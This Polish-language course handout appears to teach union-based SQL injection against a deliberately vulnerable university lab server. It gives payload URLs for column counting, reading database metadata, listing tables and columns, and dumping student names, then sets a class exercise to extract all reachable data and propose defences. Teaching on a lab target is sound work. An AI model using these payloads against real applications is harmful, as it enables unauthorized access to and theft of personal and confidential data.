Atak SQL injection wykorzystuje możliwość modyfikacji zapytania SQL przez odpowienie spreparowanie danych wejściowych. Na atak tego typu podatne są aplikacje przyjmujące dane od użytkownika i generujące na tej podstawie zapytania SQL (np. aplikacje webowe).
Spójrzmy na poniższy URL:
http://hackme.mimuw.edu.pl/test.php?id=100
W pierwszej fazie ataku należy wyobrazić sobie jakie zapytanie SQL może być generowane po stronie aplikacji. W tym przypadku może to być np. takie:
SELECT * from jakas_tabela where id=100
W praktyce zapytanie po stronie aplikacji może oczywiście wyglądać inaczej, np.:
SELECT * from tabela where id="100"
SELECT * from tabela where id=(100)
SELECT * from tabela where id=("100") itp.co dla naszego ataku może nie być bez znaczenia. Podstawiając zamiast wartości 100 dane testowe należy próbować określić z którym z zapytań mamy do czynienia.
Można testować np. tak:
http://hackme.mimuw.edu.pl/test.php?id=100"
i obserwując zachowanie aplikacji wyciągnąć wnioski.
Wydaje się, że w naszym przykładzie zapytanie faktycznie może wyglądać tak:
SELECT * from jakas_tabela where id=100
więc powinno zadziałać np.:
http://hackme.mimuw.edu.pl/test.php?id=100 order by 4
I faktycznie ww. URL powoduje zwrócenie wyniku, natomiast
http://hackme.mimuw.edu.pl/test.php?id=100 order by 5
już nie, więc możemy wyciągnąć wniosek, że tabela której dotyczy zapytanie ma 4 kolumny.
Gdyby zapytanie tworzone przez aplikację miało np. postać:
SELECT * from tabela where id="100"
to powyższe zapytania trzeba by nieco zmodyfikować.
Warto ustalić, które dane są pokazywane na stronie w wyniku wykonania powyższego zapytania, tak, aby wykorzystać to do wyświetlenia interesujących nas informacji. Ponieważ tabela ma 4 kolumny, powinno zadziałać następujące zapytanie:
http://hackme.mimuw.edu.pl/test.php?id=100 union select 1,2,3,4--+
Z wyświetlonych wyników widzimy, że aplikacja wyświetla dane z pierwszej kolumny.
Pamiętajmy o przydatnych zmiennych i funkcjach (tu na przykładzie MySQL/MariaDB):
@@hostname, @@tmpdir, @@datadir, @@version, @@basedir,
user(), database(), version(), schema(), UUID(), current_user(), system_user(), session_user().
Nazwa bazy i inne przydatne dane:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select database(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select version(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select user(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select @@tmpdir,2,3,4--+
Ustalenie typu silnika bazodanowego, a nawet jego konkretnej wersji jest bardzo istotne, poniższe zapytania wykorzystują fakt, że udało się to zrobić.
Nazwy tabel:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select table_name,2,3,4 from information_schema.tables where table_schema=database()
Nazwy kolumn tabeli:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select column_name,2,3,4 from information_schema.columns where table_schema=database()and table_name='stud'
I w końcu pobieramy dane z tabeli, np. imiona i nazwiska:
http://hackme.mimuw.edu.pl/test.php?id=-100 union Select concat(lname,fname),2,3,4 from stud--+
Na końcu wstrzykiwanego SQLa może być potrzebne doklejenie znacznika komentarza, w tym przypadku --, tak,
aby wykomentować pozostałą część zapytania, po -- powinna znaleźć się spacja, więc może
zadziałać -- -, --+ itp.
Poza opisaną istnieją inne techniki ataków SQLi m.in. tzw. blind SQL injection. Technika ta jest przydatna, gdy np. podczas manipulowania URLem nie zauważamy żadnych informacji od aplikacji, komunikatów o błędach itp.
Więcej na ten temat można znaleźć tu:
http://securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection....
Do wykonania na zajęciach.
Przeprowadź opisany wyżej atak na aplikację utworzoną w PHP:
http://hackme.mimuw.edu.pl/test.php?id=100.
Uwaga!
Aplikacja i baza danych mogły zostać zmienione w porównaniu do wyżej opisanych.
Pobierz wszystkie dane ze wszystkich baz do których uda Ci się uzyskać dostęp na ww. atakowanej maszynie. Podaj nazwy baz, tabel i kolumn. Jak zabezpieczyć aplikację przed atakami tego typu?